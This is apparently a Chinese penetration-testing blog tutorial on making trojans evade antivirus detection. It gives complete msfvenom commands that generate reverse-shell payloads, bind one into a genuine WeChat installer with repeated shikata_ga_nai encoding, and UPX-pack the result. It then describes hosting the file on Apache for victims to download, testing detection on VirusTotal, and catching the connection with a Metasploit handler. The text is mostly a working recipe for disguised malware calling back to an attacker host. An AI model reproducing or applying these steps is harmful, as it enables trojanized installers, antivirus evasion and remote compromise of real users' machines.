渗透测试-木马免杀的几种方式
前言
免杀,又叫免杀毒技术,是反病毒,反间谍的对立面,是一种能使病毒或木马免于被杀毒软件查杀的软件。它除了使病毒木马免于被查杀外,还可以扩增病毒木马的功能,改变病毒木马的行为。免杀的基本特征是破坏特征,有可能是行为特征,只要破坏了病毒与木马所固有的特征,并保证其原有功能没有改变,一次免杀就能完成了。免杀技术也并不是十恶不赦的,例如,在软件保护所用的加密产品(比如壳)中,有一些会被杀毒软件认为是木马病毒;一些安全领域中的部分安全检测产品,也会被杀毒软件误杀,这时就需要免杀技术来应对这些不稳定因素。
1、裸奔马的尝试
意为不做任何免杀处理的木马
1、使用msf的msfvenom生成木马文件,生成一个裸奔马,命名为 weixin.exe吧
命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.111.132 LPORT=8888 -f exe > weixin.exe
2、部署一下kali上的apache服务,令目标机器能够访问下载我们生成的木马
2.1、kali中是自带有apache的,启动apache服务
2.2、把生成的weixin.exe文件放在/var/www/html文件夹下
2.3、在靶机下访问192.168.111.132/weinxin.exe,已经下载
2.4、发现被AV查杀
如果在实战中,直接投递裸奔马比较容易引起对方运维人员的警觉,这种方式也比较冒险,所以在投递之前,要测试制作的木马是否会引起相关AV的查杀,比如在在线多引擎病毒识别工具中去测试
2.5、这里po一个在线杀毒查杀的网站,virustotal是一个提供免费的可疑文件分析服务的网站,它与传统杀毒软件的不同之处是它通过多种反病毒引擎扫描文件。使用多种反病毒引擎对您所上传的文件进行检测, 以判断文件是否被病毒, 蠕虫, 木马, 以及各类恶意软件感染。
2、MSF编码
在metasploit框架下免杀的方式之一是msf编码器,功能是使用msf编码器对我们制作的木马进行重新编码,生成一个二进制文件,这个文件运行后,msf编码器会将原始程序解码到内存中并执行。
1、在kali终端输入 msfvenom -l encoders,这可以列出所有可用的编码格式
2、在msf的/data/templates/下有很多metasploit自带的用于捆绑木马的程序模板,这个模块但是一些反病毒厂商关注的重点,为了更好的实现免杀,我们需要自主选择一个待捆绑程序。在这里选择是真正的微信安装包。(也有对裸奔马进行shikata_ga_nai编码饶AV的方法,但是shikata_ga_nai编码技术多态,每次生成的攻击载荷文件都不一样,有时生成的文件会被查杀,有时不会,所以结合以上思路,生成一个捆绑木马,并进行shikata_ga_nai编码)
把微信安装包放在/root文件夹下
3、使用msfvenom生成一个Windows环境下的木马,并捆绑到WeChatSetup.exe上生成WeChatSetup1.exe的合成马,同时对木马进行x86/shikata_ga_nai进行多次编码的方式进行免杀处理。
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.111.132 LPORT=9999 -e x86/shikata_ga_nai -x WeChatSetup.exe -i 12 -f exe -o /root/WeChatSetup1.exe
参数说明:
-e /指定编码方式对攻击载荷进行重新编码
-x /指定木马捆绑在哪个可执行程序模板上
-i /指定对目标进行编码的次数,多次编码理论上有助于免杀的实现
-f /指定msf编码器输出程序的格式
-0 /指定处理完毕后的文件输出路径
4、把生成的文件放在kali中的apache服务对应的文件夹下,令攻击机访问
5、攻击机下载后,在msf上创建监听
use exploit/multi/handler
set payload windows/shell/reverse_tcp ///选择payload为Windows/shell/reverse_tcp
show options ///查看一下哪些选项需要配置
set lhost 192.168.111.132 ///设置一下主机地址
set lport 9999 ///设置下主机端口,为木马设定的端口
run
6、在目标机器上点击伪造的安装包,没有打开,因为捆绑木马并多次编码后,安装包源文件已经损坏,但是在攻击机的,目标机器已经上线
3、UPX加壳
upx打包器有两种功能,一种叫做给程序加壳,一种叫压缩程序,在这里使用打包器的目的是改变后门程序的特征码。
压缩的时候:它首先可执行文件中的可执行数据解压出来,然后将解压缩用的代码附加在前面
运行的时候:将原本的可执行数据解压出来,然后再运行解压缩后的数据
1、在kali中内置了upx打包器,输入upx可以看下参数介绍
2、简单的命令就是直接upx file,对file文件进行加壳处理,加壳后,因为经过压缩,文件大小会变小
3、还是老样子,把上面经历过编码后,又加壳的weixin安装包放在apache服务的文件夹下,供目标机器读取下载(如上2.4)
4、在msf上可以创建正常的连接和监听,成功传回
后言
免杀技术也被安全技术厂商盯上并开发相对应的检测技术,所以免杀技术与杀软技术是互相促进发展的,而且发展速度很快,有些现在可以测试成功的杀软技术,过段时间就不能用了。免杀技术还需要狠下功夫去研究,接下来也会尝试python,GO写的免杀,也会在后续文章中叙述进展!